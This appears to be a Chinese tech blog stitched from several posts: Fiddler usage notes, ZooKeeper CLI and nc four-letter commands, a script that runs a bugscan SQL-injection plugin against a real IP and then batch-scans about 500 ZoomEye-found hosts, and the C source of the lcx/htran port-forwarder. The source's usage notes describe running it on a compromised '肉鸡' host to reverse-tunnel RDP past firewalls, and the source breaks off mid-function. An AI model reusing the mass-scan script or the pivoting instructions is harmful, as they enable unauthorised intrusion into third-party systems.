CTRL+I  反向选中;如果session已选中,则取消,否则选中;

CTRL+X  删除所有的session;

Delete: 删除选中的session;

Shift+Delete 删除所有未选中的session

R  重新执行当前请求

SHIFT+R  多次重复执行当前请求

U: 无条件重新执行当前请求,发送不包含If-Modified-Since 和 If-None-Match的请求头

SHIFT+U 无条件地多次重复执行当前请求。

ALT+Enter 查看当前session的属性;

Insert:切换是否用红色粗体标记选中的session

M  给选中的session添加描述;

 

了解web Session上下文菜单

我们来点击session一项后,右键菜单,会出现如下所示:

AutoScroll Session List选项用于决定Fiddler是否会自动把新增的session添加到web session列表中。

我们先来了解下 Copy菜单项的一些session信息如下:

Just Url: 把选中的session的url列表拷贝到剪贴板,每行一个url。如下我们定位到session中,

当我们进行粘贴的时候,看到是一个url地址;如下所示:

http://www.telerik.com/UpdateCheck.aspx?isBeta=False

上面可以看到,我们还可以使用快捷键ctrl+u 实现;

This column: 拷贝选中session菜单所在列的文本;如下:

到我们拷贝完成的时候,进行粘贴的时候,可以看到如下文本:

HTTP

Terse summary:把选中的session的简要说明复制到剪贴板中,简要说明中包括请求方法,url,响应的状态码及状态信息,如果响应是HTTP/3xx重定向,文本中也会包括响应头中Location字段的内容;如下所示:

当我们进行粘贴的时候,可以看到如下信息:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False

200 OK (text/plain)

当然如上也可以使用快捷键;

Headers only  把session的请求头复制到剪贴板中,既可以以纯文本格式,也可以以HTML格式复制。如下:

粘贴如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

Session: 把整个session列表复制到剪贴板中,支持以纯文本和HTML这两种格式进行复制。如下:

粘贴结果如下:

GET http://www.telerik.com/UpdateCheck.aspx?isBeta=False HTTP/1.1
User-Agent: Fiddler/4.5.1.2 (.NET 4.0.30319.1026; WinNT 6.1.7601 SP1; zh-CN; 2xx86)
Pragma: no-cache
Accept-Language: zh-CN
Referer: http://fiddler2.com/client/4.5.1.2
Host: www.telerik.com
Accept-Encoding: gzip, deflate
Connection: Close

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/plain; charset=utf-8
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: sid=jELer5vxx0gyb7Fw53nCXaobR7BcBb+Ortlpxuq2IuvsiQP1UoSgUO2DLC4HoxbgEq5YLfg959JRyKoL5ZX33nBVHffCk3UQDBWH5XAPRIGiSo9kJOvdHF6iP/UdEvLLyWb43itzcIaZNksXDEnidrB3lVo=; expires=Wed, 02-Jul-2025 01:56:29 GMT; path=/
Access-Control-Allow-Origin: http://converter.telerik.com
Date: Sun, 05 Jul 2015 01:56:29 GMT
Content-Length: 447
Connection: close

?


?`I?%&/m?{J?J??t??`?@??????iG#)?*??eVe]f@????{???{???;?N'????\fdl??J??!???­?~|­?"????o??????o???w?{??>??wwog????=[???2O_f?y??d?v]?i?XUu??g?f?O?n????Z7?d}q^???#


~'????=?_?????I??o???k???z?.?u??


7}???6[?7? }?-[|:o???w'eu???xZ-???uwU5msw????????W??n????v???F???????q?{~????_????q?f????i??????-?eZ??-}:????GOsB?X^?WE;O? ???I??U?]fE?M?|?'??^????M?u?PV?*?'D?4?.???b????4g?YkF?(?S????w???

Response DataURI :响应信息的DataURI
截图如下:

信息如下:

data:text/plain;base64,H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVdZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/IvZ/4+T+b5zs/sbJ3m+c7I/vj3fHe+n3Pr27d3dvZ/f+93/jJD1brOrqMk9fZtO3eZueZKt2XedpsVhVdeu+n6Vny2aVT9uqbujTn8zqolo36WR9cV68y+kjA34n/d7+3T36Xwh/lr6pqrJJj9Jvf/n6zWv64vV6hS7Sl3X10wQ3fb3K6jZb0jf0Cn2RLVsPfDpv29Wju3cnZXXRjNu8zOvi7XhaLe6eF7MZ/XV3VTVtc3f3/vbO/vbeg7tX86zdbraX+dV2sdzWRtv72/e3iRi/cfJ7fvf0+cmXX5z+nr9x8maep6/zabWcpaezoi2qZVqdpy19Oqmqt+lHT3NC46JYXqRXRTtPnwmoj9KiSZfVVZpdZkWZTcp8/Bsnz/OsXqaLigiYTap1y1BW2SqvJ0TeNKMunr76Yvu8zvM0Z+hZa0amKOJTjOv/AeF3j4a5AQAA

Full Summary  把web session列表中显示的信息复制到剪贴板。如下:

信息如下:

#     Result     Protocol Host       URL Body      Caching  Content-Type       Process   Comments     Custom 

1     200 HTTP      www.telerik.com   /UpdateCheck.aspx?isBeta=False      447 private    text/plain; charset=utf-8       fiddler:6500

Save子菜单中包含了用于把流量保存到文件中的一些选项;如下所示:

Selected Sessions中的In ArchiveZip 选项是把 Web Session列表中选中的session保存到SAZ文件中;如下所示:

Selected Sessions中的 As Text是把选中的所有session一起保存到一个文本文件中;如下:

Selected Sessions中的As Text(Headers only) 把选中session的请求头和响应头一起保存到一个文本文件中;下面还有很多选项,我这边就不一一介绍,等用到某一项的时候,我们再来介绍;

 

Fiddler如何捕获firefox中的会话

Fiddler启动时默认是IE代理设置127.0.0.1:8888,其他浏览器需要手动设置;

Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

即可生效;不过上面的设置比较麻烦,我们可以安装一个插件,如下:

Firefox中安装FiddlerHook插件

当我们安装好fiddler后,就已经安装好了FiddlerHook插件了,我们需要去firefox中启用这个插件;工具—》附加组件—》扩展—》fiddlerHook启用

启用即可!!然后我们需要在firefox中进行设置即可;

我们再来看一下Firefox手动设置如下:工具 –》选项 –》高级 –》网络 –》设置

我们可以再来安装一个hostAdmin插件即可方便查看。

 

Fiddler如何捕获Https会话

默认下,Fiddler不会捕获HTTPS会话,需要你设置下, 打开Fiddler  Tool->Fiddler Options->HTTPS tab

 

弹出框后一直点击Yes即可;

Fiddler的HTTP统计视图(可以优化请求和页面)

    Fiddler的统计选项卡中显示了当前Session的基本信息,在选项卡的最上方显示的是文本信息,最下方是个饼图,按MIME类型显示流量。使用Statistics页签,用户可以通过选择多个会话来得来这几个会话的总的信息统计,比如多个请求和传输的字节数。

选择第一个请求和最后一个请求,可获得整个页面加载所消耗的总体时间。从条形图表中还可以分别出哪些请求耗时最多,从而对页面的访问进行访问速度优化。

如下所示:

 

饼图如下:

 

统计选项卡的一些信息含义如下解释:

Request Count 选中的session数;

Unique Hosts 流量流向的独立目标主机数。如果所有选中的流量都发送到相同的服务器上,则不会显示该字段。

Bytes sent:  HTTP请求头和请求体中向外发送的字节总数。后面括号中分别给出了头和body各自的字节数。

Bytes received: HTTP请求头和请求体中接收到的所有字节数。在全部计数后面的括号中给出了请求头和请求体各自的字节数。

Requests started at: Fiddler接收到的第一个请求的第一个字节的时间点。

Responses completed at: Fiddler发送到客户端的最后一个响应的最后一个字节的时间点。

Sequence(clock) duration:  第一个请求开始到最后一个响应结束之间的 “时钟时间”。

Aggregate session duration: 所有选中的session从请求到响应之间的时间的和。

DNS Lookup time: 所有选中的session解析DNS所花费的时间的总和。

TCP/IP Connect duration: 所有选中session建立TCP/IP连接所花费的时间总和。

HTTPS Handshake duration: 所有选中session在HTTPS握手上所花费的时间总和。

Response Codes: 选中session中各个HTTP响应码的计数。

Response Bytes by content-type: 选中session中响应的各个Content-Type的字节数。

Estimated Performance: 选中的流量在不同语种(local)地区和连接方式下所需时间的初步估计。

 

移动开发如何使用fiddler调式代码

 1.  首先电脑和手机要使用同一个无线网。

 2.  配置Fiddler,点击 Tools  -->  Fiddler  Options 

 3.  手机端的配置,我这边是Android手机(IOS也一样),点击设置进去,选择无线网,如下:

点击代理设置进去后,如下:

接下来可以看看我的ip地址如下:

如上设置后,我们就可以使用手机访问网页后,可以使用fiddler来监控请求或者替换js或者css文件了;

注意:有时候我访问的页面提示  “代理服务器连接失败”,那么这种情况下,很有可能是防火墙或者一些360类似的杀毒软件,我们可以在防火墙下设置为fiddler通过,如下所示:

4.  修改HOST

    如上设置我们可以监听页面请求了,但是如果我想要监听本地的服务器端的代码,就访问不了(我本地使用的服务器是php环境),比如上我在本地做demo,如果一切好的话,我上传到服务器端去,首先我们需要启动php服务器;启动好后,我们来使用本机的ip来访问下;如下所示:

1.  我们需要在fiddler里面修改配置,Tools –》 HOSTS,如下:

点击保存按钮后,我们接着再访问页面,就可以访问了,如下:

页面可以访问后,有时候我们想替换下js或者css文件,我们就可以使用右侧的tab选项栏中的AutoResponder了,如下:

在最下面的可以替换一些js或者css文件即可了;这里就不多介绍了~

如上是目前总结的一些基本fiddler基本知识点, 在接下来的业余时间会多去总结Fiddler相关调式方面的知识点~  如果总结的不好的话,希望大家多多指教~~

    总结:Fiddler基本知识点总结如上一些,在接下来的时间会全面总结Fiddler相关的含义,我们平时用到的Fiddler一些方面,但是我们还需要多去理解其他各个方面的含义,为以后使用代理http请求或者优化页面有更好的理解,因此我觉得有必要的多去学习下Fiddler知识点~ 所以Fiddler一直会有下文总结的~~

Zookeeper常用命令

发布时间:July 15, 2015 // 分类:开发笔记,运维工作,linux,windows,python // No Comments

zk客户端命令

ZooKeeper命令行工具类似于Linux的shell环境,不过功能肯定不及shell啦,但是使用它我们可以简单的对ZooKeeper进行访问,数据创建,数据修改等操作.  使用 zkCli.sh -server 127.0.0.1:2181 连接到 ZooKeeper 服务,连接成功后,系统会输出 ZooKeeper 的相关环境以及配置信息。

命令行工具的一些简单操作如下:

如下示例:

  • 1. 显示根目录下、文件: ls / 使用 ls 命令来查看当前 ZooKeeper 中所包含的内容
  • 2. 显示根目录下、文件: ls2 / 查看当前节点数据并能看到更新次数等数据
  • 3. 创建文件,并设置初始内容: create /zk "test" 创建一个新的 znode节点“ zk ”以及与它关联的字符串
  • 4. 获取文件内容: get /zk 确认 znode 是否包含我们所创建的字符串
  • 5. 修改文件内容: set /zk "zkbak" 对 zk 所关联的字符串进行设置
  • 6. 删除文件: delete /zk 将刚才创建的 znode 删除
  • 7. 退出客户端: quit
  • 8. 帮助命令: help

429306093

429329789

 

ZooKeeper 常用四字命令:

      ZooKeeper 支持某些特定的四字命令字母与其的交互。它们大多是查询命令,用来获取 ZooKeeper 服务的当前状态及相关信息。用户在客户端可以通过 telnet 或 nc 向 ZooKeeper 提交相应的命令

传递四个字母的字符串给ZooKeeper,ZooKeeper会返回一些有用的信息。

ZooKeeper 四字命令

功能描述

conf

输出相关服务配置的详细信息。

cons

列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。包括“接受 / 发送”的包数量、会话 id 、操作延迟、最后的操作执行等等信息。

dump

列出未经处理的会话和临时节点。

envi

输出关于服务环境的详细信息(区别于 conf 命令)。

reqs

列出未经处理的请求

ruok

测试服务是否处于正确状态。如果确实如此,那么服务返回“imok ”,否则不做任何相应。

stat

输出关于性能和连接的客户端的列表。

wchs

列出服务器 watch 的详细信息。

wchc

通过 session 列出服务器 watch 的详细信息,它的输出是一个与watch 相关的会话的列表。

wchp

通过路径列出服务器 watch 的详细信息。它输出一个与 session相关的路径。

 

如下示例:

  • 1. 可以通过命令:echo stat|nc 127.0.0.1 2181 来查看哪个节点被选择作为follower或者leader
  • 2. 使用echo ruok|nc 127.0.0.1 2181 测试是否启动了该Server,若回复imok表示已经启动。
  • 3. echo dump| nc 127.0.0.1 2181 ,列出未经处理的会话和临时节点。
  • 4. echo kill | nc 127.0.0.1 2181 ,关掉server
  • 5. echo conf | nc 127.0.0.1 2181 ,输出相关服务配置的详细信息。
  • 6. echo cons | nc 127.0.0.1 2181 ,列出所有连接到服务器的客户端的完全的连接 / 会话的详细信息。
  • 7. echo envi |nc 127.0.0.1 2181 ,输出关于服务环境的详细信息(区别于 conf 命令)。
  • 8. echo reqs | nc 127.0.0.1 2181 ,列出未经处理的请求。
  • 9. echo wchs | nc 127.0.0.1 2181 ,列出服务器 watch 的详细信息。
  • 10. echo wchc | nc 127.0.0.1 2181 ,通过 session 列出服务器 watch 的详细信息,它的输出是一个与 watch 相关的会话的列表。
  • 11. echo wchp | nc 127.0.0.1 2181 ,通过路径列出服务器 watch 的详细信息。它输出一个与 session 相关的路径。

273847384

273799725

写个脚本来搞定


import sys
from kazoo.client import KazooClient
​
host = sys.argv[1]
conn = KazooClient(host)
conn.start()
sysinfo = conn.command('envi')
print sysinfo

 

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,python,windows,转帖文章,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

lcx的源码

发布时间:July 5, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows,生活琐事 // No Comments

// htran.cpp 
  
/* 
用法说明: 
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
  -listen <ConnectPort> <TransmitPort> 
  -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort> 
 
备注: 
-listen 后面接的两个端口都是监听功能,即:被动连接 
-tran   这个就是最容易理解的端口转发功能 
-slave  后面接的两个地址和端口都是指本机要去主动连接的 
 
反弹3389: 
1、肉鸡上运行:lcx.exe -slave 控制机IP 80 127.0.0.1 3389 
2、控制机运行:lcx.exe -listen 80 3389 
3、之后在控制机上连接本地的3389即可,这样做的效果就是通过80端口实现了远程桌面的功能,而且还是肉鸡自己反弹外连出来的,因此能很好的绕过防火墙和内网的限制。 
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <winsock2.h>  
#include <errno.h>  
#include <signal.h>  
#include <io.h>  
  
#pragma comment(lib, "ws2_32.lib")  
  
#define VERSION     "1.00"  
#define TIMEOUT     300  
#define MAXSIZE     20480 //20KB  
#define HOSTLEN     40  
#define CONNECTNUM  5  
  
struct transocket  
{  
    SOCKET fd1;  
    SOCKET fd2;  
};  
  
//void ver();  
//void proxy(int port);  
  
void usage(char *prog);  
  
void getctrlc(int j);  
void closeallfd();  
void makelog(char *buffer, int length);  
int testifisvalue(char *str);  
  
void bind2bind(int port1, int port2);  
void bind2conn(int port1, char *host, int port2);  
void conn2conn(char *host1, int port1, char *host2, int port2);  
  
int create_socket();  
int create_server(int sockfd, int port);  
int client_connect(int sockfd, char* server, int port);  
  
void transmitdata(LPVOID data);  
  
extern int errno;  
  
FILE *fp;  
  
int method=0;  
  
VOID main(int argc, char* argv[])  
{  
    char **p;  
  
    char sConnectHost[HOSTLEN];  
    char sTransmitHost[HOSTLEN];  
  
    int iConnectPort=0;  
    int iTransmitPort=0;  
  
    char *logfile=NULL;  
  
    memset(sConnectHost, 0, HOSTLEN);  
    memset(sTransmitHost, 0, HOSTLEN);  
  
    p=argv;  
    while(*p)  
    {  
        if(_stricmp(*p, "-log") == 0)  
        {  
            if(testifisvalue(*(p+1)))  
            {  
                logfile = *(++p);  
            }  
            else  
            {  
                printf("[-] ERROR: Must supply logfile name.\r\n");  
                return;  
            }  
            p++;  
            continue;  
        }  
  
        p++;  
    }  
  
    if(logfile !=NULL)  
    {  
        fp = fopen(logfile,"a");  
        if(fp == NULL )  
        {  
            printf("[-] ERROR: open logfile");  
            return;  
        }  
  
        makelog("====== Start ======\r\n", 0);  
    }  
  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1, 1), &wsadata);  
  
    signal(SIGINT, &getctrlc);  
  
    if(argc > 2)  
    {  
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)  
        {  
            iConnectPort = atoi(argv[2]);  
            iTransmitPort = atoi(argv[3]);  
            method = 1;  
        }  
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)  
        {  
            iConnectPort = atoi(argv[2]);  
            strncpy(sTransmitHost, argv[3], HOSTLEN);  
            iTransmitPort = atoi(argv[4]);  
            method = 2;  
        }  
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)  
        {  
            strncpy(sConnectHost, argv[2], HOSTLEN);  
            iConnectPort = atoi(argv[3]);  
            strncpy(sTransmitHost, argv[4], HOSTLEN);  
            iTransmitPort = atoi(argv[5]);  
            method = 3;  
        }  
    }  
  
    switch(method)  
    {  
    case 1:  
        bind2bind(iConnectPort, iTransmitPort);  
        break;  
    case 2:  
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    case 3:  
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    default:  
        usage(argv[0]);  
        break;  
    }  
  
    if(method)  
    {  
        closeallfd();  
    }  
  
    WSACleanup();  
  
    return;  
}  
  
VOID usage(char* prog)  
{  
    printf("[Usage of Packet Transmit:]\r\n");  
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);  
    printf("[option:]\n");  
    printf(" -listen <ConnectPort> <TransmitPort>\n");  
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");  
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");  
  
    return;  
}  
  
//************************************************************************************  
//  
// test if is value  
//  
//************************************************************************************  
int testifisvalue(char *str)  
{  
    if(str == NULL ) return(0);  
  
    if(str[0]=='-') return(0);  
  
    return(1);  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort  
//  
//************************************************************************************  
void bind2bind(int port1, int port2)  
{  
    SOCKET fd1,fd2,sockfd1,sockfd2;  
    struct sockaddr_in client1,client2;  
    int size1,size2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if((fd1=create_socket())==0) return;  
    if((fd2=create_socket())==0) return;  
  
    printf("[+] Listening port %d ......\r\n",port1);  
    fflush(stdout);  
  
    if(create_server(fd1, port1)==0)  
    {  
        closesocket(fd1);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    printf("[+] Listening port %d ......\r\n",port2);  
    fflush(stdout);  
  
    if(create_server(fd2, port2)==0)  
    {  
        closesocket(fd2);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    size1=size2=sizeof(struct sockaddr);  
  
    while(1)  
    {  
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);  
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)  
        {  
            printf("[-] Accept1 error.\r\n");  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));  
        printf("[+] Waiting another Client on port:%d....\r\n", port2);  
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)  
        {  
            printf("[-] Accept2 error.\r\n");  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));  
        printf("[+] Accept Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void bind2conn(int port1, char *host, int port2)  
{  
    SOCKET sockfd,sockfd1,sockfd2;  
    struct sockaddr_in remote;  
    int size;  
    char buffer[1024];  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if (port1 > 65535 || port1 < 1)  
    {  
        printf("[-] ConnectPort invalid.\r\n");  
        return;  
    }  
  
    if (port2 > 65535 || port2 < 1)  
    {  
        printf("[-] TransmitPort invalid.\r\n");  
        return;  
    }  
  
    memset(buffer,0,1024);  
  
    if((sockfd=create_socket()) == INVALID_SOCKET) return;  
  
    if(create_server(sockfd, port1) == 0)  
    {  
        closesocket(sockfd);  
        return;  
    }  
  
    size=sizeof(struct sockaddr);  
    while(1)  
    {  
        printf("[+] Waiting for Client ......\r\n");  
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)  
        {  
            printf("[-] Accept error.\r\n");  
            continue;  
        }  
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));  
        if((sockfd2=create_socket())==0)  
        {  
            closesocket(sockfd1);  
            continue;  
        }  
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);  
        fflush(stdout);  
        if(client_connect(sockfd2,host,port2)==0)  
        {  
            closesocket(sockfd2);  
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);  
            send(sockfd1,buffer,strlen(buffer),0);  
            memset(buffer, 0, 1024);  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void conn2conn(char *host1,int port1,char *host2,int port2)  
{  
    SOCKET sockfd1,sockfd2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
    fd_set fds;  
    int l;  
    char buffer[MAXSIZE];  
  
    while(1)  
    {  
        if((sockfd1=create_socket())==0) return;  
        if((sockfd2=create_socket())==0) return;  
  
        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);  
        fflush(stdout);  
        if(client_connect(sockfd1,host1,port1)==0)  
        {  
            closesocket(sockfd1);  
            closesocket(sockfd2);  
            continue;  
        }  
  
        // fix by bkbll  
        // if host1:port1 recved data, than connect to host2,port2  
        l=0;  
        memset(buffer,0,MAXSIZE);  
        while(1)  
        {  
            FD_ZERO(&fds);  
            FD_SET(sockfd1, &fds);  
  
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)  
            {  
                if (errno == WSAEINTR) continue;  
                break;  
            }  
            if (FD_ISSET(sockfd1, &fds))  
            {  
                l=recv(sockfd1, buffer, MAXSIZE, 0);  
                break;  
            }  
            Sleep(5);  
        }  
  
        if(l<=0)  
        {  
            printf("[-] There is a error...Create a new connection.\r\n");  
            continue;  
        }  
        while(1)  
        {  
            printf("[+] Connect OK!\r\n");  
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);  
            fflush(stdout);  
            if(client_connect(sockfd2,host2,port2)==0)  
            {  
                closesocket(sockfd1);  
                closesocket(sockfd2);  
                continue;  
            }  
  
            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)  
            {  
                printf("[-] Send failed.\r\n");  
                continue;  
            }  
  
            l=0;  
            memset(buffer,0,MAXSIZE);  
            break;  
        }  
  
        printf("[+] All Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// Socket Transmit to Socket  
//  
//************************************************************************************  
void transmitdata(LPVOID data)  
{  
    SOCKET fd1, fd2;  
  
    transocket *sock;  
    struct timeval timeset;  
    fd_set readfd,writefd;  
  
    int result,i=0;  
  
    char read_in1[MAXSIZE],send_out1[MAXSIZE];  
    char read_in2[MAXSIZE],send_out2[MAXSIZE];  
  
    int read1=0,totalread1=0,send1=0;  
    int read2=0,totalread2=0,send2=0;  
  
    int sendcount1,sendcount2;  
  
    int maxfd;  
  
    struct sockaddr_in client1,client2;  
    int structsize1,structsize2;  
  
    char host1[20],host2[20];  
    int port1=0,port2=0;  
  
    char tmpbuf[100];  
  
    sock = (transocket *)data;  
    fd1 = sock->fd1;  
    fd2 = sock->fd2;  
  
    memset(host1,0,20);  
    memset(host2,0,20);  
    memset(tmpbuf,0,100);  
  
    structsize1=sizeof(struct sockaddr);  
    structsize2=sizeof(struct sockaddr);  
  
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)  
    {  
        strcpy(host1, "fd1");  
    }  
    else  
    {  
        strcpy(host1, inet_ntoa(client1.sin_addr));  
        port1=ntohs(client1.sin_port);  
    }  
  
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)  
    {  
        strcpy(host2,"fd2");  
    }  
    else  
    {  
        strcpy(host2, inet_ntoa(client2.sin_addr));  
        port2=ntohs(client2.sin_port);  
    }  
  
    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);  
  
    maxfd=max(fd1,fd2)+1;  
    memset(read_in1,0,MAXSIZE);  
    memset(read_in2,0,MAXSIZE);  
    memset(send_out1,0,MAXSIZE);  
    memset(send_out2,0,MAXSIZE);  
  
    timeset.tv_sec=TIMEOUT;  
    timeset.tv_usec=0;  
  
    while(1)  
    {  
        FD_ZERO(&readfd);  
        FD_ZERO(&writefd);  
  
        FD_SET((UINT)fd1, &readfd);  
        FD_SET((UINT)fd1, &writefd);  
        FD_SET((UINT)fd2, &writefd);  
        FD_SET((UINT)fd2, &readfd);  
  
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);  
        if((result<0) && (errno!=EINTR))  
        {  
            printf("[-] Select error.\r\n");  
            break;  
        }  
        else if(result==0)  
        {  
            printf("[-] Socket time out.\r\n");  
            break;  
        }  
  
        if(FD_ISSET(fd1, &readfd))  
        {  
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */  
            if(totalread1<MAXSIZE)  
            {  
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);  
                if((read1==SOCKET_ERROR) || (read1==0))  
                {  
                    printf("[-] Read fd1 data error,maybe close?\r\n");  
                    break;  
                }  
  
                memcpy(send_out1+totalread1,read_in1,read1);  
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);  
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in1,read1);  
  
                totalread1+=read1;  
                memset(read_in1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &writefd))  
        {  
            int err=0;  
            sendcount1=0;  
            while(totalread1>0)  
            {  
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);  
  
                if(send1==0) break;  
  
                if((send1<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd2 unknow error.\r\n");  
                    err=1;  
                    break;  
                }  
  
                if((send1<0) && (errno==ENOSPC)) break;  
  
                sendcount1+=send1;  
                totalread1-=send1;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);  
            }  
  
            if(err==1) break;  
  
            if((totalread1>0) && (sendcount1>0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out1,send_out1+sendcount1,totalread1);  
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);  
            }  
            else  
            {  
                memset(send_out1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &readfd))  
        {  
            if(totalread2<MAXSIZE)  
            {  
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);  
  
                if(read2==0) break;  
  
                if((read2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");  
                    break;  
                }  
  
                memcpy(send_out2+totalread2,read_in2,read2);  
